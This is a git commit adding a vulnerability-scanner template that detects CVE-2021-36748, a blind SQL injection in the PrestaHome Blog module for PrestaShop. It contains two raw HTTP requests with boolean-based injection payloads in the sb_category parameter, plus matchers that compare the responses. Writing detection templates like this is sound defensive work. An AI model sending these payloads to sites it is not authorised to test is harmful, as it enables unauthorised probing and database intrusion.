Create CVE-2021-36748.yaml (#2446)
* Create CVE-2021-36748.yaml * Update indentation * minor update * Update CVE-2021-36748.yaml * Additional unique matchers + easily readable syntax * misc updates Co-authored-by: sandeep <sandeep@projectdiscovery.io>patch-1
parent
474b60435e
commit
c45934891f
|
@ -0,0 +1,32 @@
|
|||
id: CVE-2021-36748
|
||||
|
||||
info:
|
||||
name: PrestaHome Blog for PrestaShop - SQL Injection
|
||||
author: whoever
|
||||
severity: high
|
||||
description: Blog for PrestaShop by PrestaHome < 1.7.8 is vulnerable to a SQL injection (blind) via sb_category parameter.
|
||||
tags: cve,cve2021,prestashop,prestahome,sqli,cms
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-36748
|
||||
- https://blog.sorcery.ie/posts/ph_simpleblog_sqli/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
req-condition: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "status_code_1 == 200"
|
||||
- "status_code_2 == 404"
|
||||
- 'contains(body_1, "prestashop")'
|
||||
- "contains(tolower(all_headers_2), 'index.php?controller=404')"
|
||||
- "len(body_2) == 0"
|
||||
condition: and
|
Loading…
Reference in New Issue